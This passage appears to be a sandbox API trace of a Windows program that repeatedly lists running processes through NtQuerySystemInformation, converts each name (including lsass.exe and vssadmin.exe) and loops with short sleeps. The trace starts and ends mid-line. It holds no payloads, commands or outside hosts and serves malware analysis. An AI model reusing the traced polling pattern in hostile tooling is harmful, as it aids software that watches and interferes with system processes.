Size=0x8) returned 0x33f06f0 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1de0 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf88 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1b18 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1de0 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d17f8 [0178.696] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0178.696] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1a18 [0178.697] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0178.697] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0178.697] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0178.697] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0178.697] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0178.697] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0178.697] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0178.697] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0178.697] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0178.697] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0178.697] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0178.697] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0178.697] Sleep (dwMilliseconds=0x64) [0179.198] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0179.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.198] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0179.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.199] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0179.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.199] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0179.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.199] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0179.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.199] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0179.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.199] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0179.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.200] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0179.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.200] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0179.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.200] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0179.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.200] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0179.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.201] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0179.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.201] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0179.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.201] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0179.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.202] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0179.202] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.202] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0179.202] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.202] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0179.202] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.203] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0179.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.203] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0179.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.203] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0179.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.204] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0179.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0179.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0179.204] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0680 [0179.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0179.204] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1de0 [0179.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0179.204] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e70 [0179.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0179.204] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0179.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0179.204] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e10 [0179.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0179.204] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e88 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e10 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0760 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0179.205] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.205] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e10 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1b18 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc140 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d17f8 [0179.206] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0179.206] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e70 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d17f8 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1ab8 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0179.207] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0179.207] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0179.207] Sleep (dwMilliseconds=0x64) [0179.503] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0179.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.504] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0179.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.504] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0179.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.504] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0179.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.504] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0179.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.505] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0179.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.505] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0179.505] NtQuerySystemInformation (in: 